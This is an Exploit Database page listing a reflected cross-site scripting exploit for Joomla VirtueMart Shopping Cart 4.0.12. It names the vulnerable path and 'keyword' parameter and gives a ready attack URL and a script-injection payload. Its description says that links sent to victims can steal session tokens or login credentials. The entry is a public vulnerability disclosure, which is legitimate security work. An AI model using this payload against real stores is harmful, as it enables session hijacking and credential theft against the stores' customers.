



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS

EDB-ID:

51631

CVE:

N/A

EDB Verified: ✘

Author:

[CRACKER](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2023-07-28

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Joomla VirtueMart Shopping-Cart 4.0.12 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 24/07/2023
# Vendor: VirtueMart Team
# Vendor Homepage: https://www.virtuemart.net/
# Software Link: https://demo.virtuemart.net/
# Joomla Extension Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/virtuemart/
# Version: 4.0.12
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
```

Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob

Description

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials

Path: /product-variants

GET parameter 'keyword' is vulnerable to RXSS

```
https://website/product-variants?keyword=[XSS]&view=category&option=com_virtuemart&virtuemart_category_id=11&Itemid=92
```

```
[XSS Payload]: uk9ni"><script>alert(1)</script>a6di2
```

```
[ - ] Done
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



[EXPLOITS](#)



[GHDB](#)



[PAPERS](#)



[SHELLCODES](#)



[SEARCH EDB](#)



[SEARCHSPLOIT MANUAL](#)



[SUBMISSIONS](#)



[ONLINE TRAINING](#)